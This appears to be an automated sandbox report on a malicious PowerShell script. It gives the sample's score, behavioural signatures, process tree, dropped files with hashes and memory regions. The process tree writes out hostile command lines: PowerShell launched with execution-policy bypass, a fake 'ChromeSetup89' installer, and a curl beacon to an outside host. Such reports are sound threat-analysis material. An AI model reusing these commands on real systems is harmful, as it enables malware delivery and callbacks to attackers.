Analysis

  • max time kernel
    150s
  • max time network
    141s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/11/2026, 01:31

General

  • Target
    944bfe82b949fcb0.ps1
  • Size 4KB
  • Sample261113-bxp5paev4v
  • SHA256 944bfe82b949fcb067d4aa0463af94a13cfd7c97dfdd8ae8d9ff5ebcebaa22f2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Downloads MZ/PE file 1 IoCs
  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\944bfe82b949fcb0.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1140
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\Downloads\192907527exe.ps1
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4252
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5u31cqlz\5u31cqlz.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2520
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB0D8.tmp" "c:\Users\Admin\AppData\Local\Temp\5u31cqlz\CSCD07B9EC9B1924D0A9AB87088B440CED6.TMP"
          4⤵
            PID:1148
        • C:\Users\Admin\Downloads\ChromeSetup89.exe
          "C:\Users\Admin\Downloads\ChromeSetup89.exe"
          3⤵
          • Maps connected drives based on registry
          PID:1532
        • C:\Windows\system32\curl.exe
          "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 10 https://nexguard.pro/ae8ouxb9gx/api?t=4819ebd7c129161d3cd8dd89d4efec1fec66c785&track=1&event=launch_ok
          3⤵
            PID:2684

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 a090aef2b50d58f4be055d9da9cd7c5a1b653ef8d89507cecf2a6d1a17ecf1c1
            • MD5 SHA1 SHA512 TLSH

            5u31cqlz.dll

            • Path C:\Users\Admin\AppData\Local\Temp\5u31cqlz\5u31cqlz.dll
            • Size 4KB
            • SHA256 7325603565874530ecd6610f26d47db5321efc0d18b96f067e91f3e8f464e943
            • MD5 SHA1 SHA512 TLSH

            RESB0D8.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RESB0D8.tmp
            • Size 1KB
            • SHA256 4dcdd7647a2cfbd015b344362d44226693e14e8ee938c4f3a8318080c14561a4
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_ly0vmctf.4un.psm1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ly0vmctf.4un.psm1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            192907527exe.ps1

            • Path C:\Users\Admin\Downloads\192907527exe.ps1
            • Size 1KB
            • SHA256 f7f75f5a9240bc878a4f129c10374fa6b12b2c82907c8f500d44bbcff8f8ab49
            • MD5 SHA1 SHA512 TLSH

            5u31cqlz.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\5u31cqlz\5u31cqlz.0.cs
            • Size 1KB
            • SHA256 04d45e3134df0b6a8d1affb893c9e0d0240db163bf45baaca1c58f7acd2e56c5
            • MD5 SHA1 SHA512 TLSH

            5u31cqlz.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\5u31cqlz\5u31cqlz.cmdline
            • Size 369B
            • SHA256 b44ca9c39a40316583f083d07bf1f75ea4ed5f9ff94225f5e5bcf827cfa2231d
            • MD5 SHA1 SHA512 TLSH

            CSCD07B9EC9B1924D0A9AB87088B440CED6.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\5u31cqlz\CSCD07B9EC9B1924D0A9AB87088B440CED6.TMP
            • Size 652B
            • SHA256 aa4863c56ea48e834691eede775ceb9b42f0d9457cfbde53db79077d0fcad735
            • MD5 SHA1 SHA512 TLSH

            memory/1140-7-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/1140-11-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/1140-13-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/1140-14-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/1140-10-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/1140-16-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/1140-9-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/1140-8-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/1140-0-0x00007FFFF3D4F000-0x00007FFFF3D50000-memory.dmp

            memory/1140-6-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/1140-5-0x000002442B740000-0x000002442B762000-memory.dmp

            memory/1140-4-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/1140-1-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/4252-24-0x000001DC9CF80000-0x000001DC9D032000-memory.dmp

            memory/4252-33-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/4252-42-0x000001DC9D4F0000-0x000001DC9D517000-memory.dmp

            memory/4252-43-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/4252-41-0x000001DC9CF40000-0x000001DC9CF48000-memory.dmp

            memory/4252-32-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/4252-26-0x000001DC9D4D0000-0x000001DC9D4E4000-memory.dmp

            memory/4252-25-0x000001DC9CF50000-0x000001DC9CF5A000-memory.dmp

            memory/4252-23-0x000001DC9CF60000-0x000001DC9CF7E000-memory.dmp

            memory/4252-44-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/4252-45-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/4252-46-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

            memory/4252-49-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp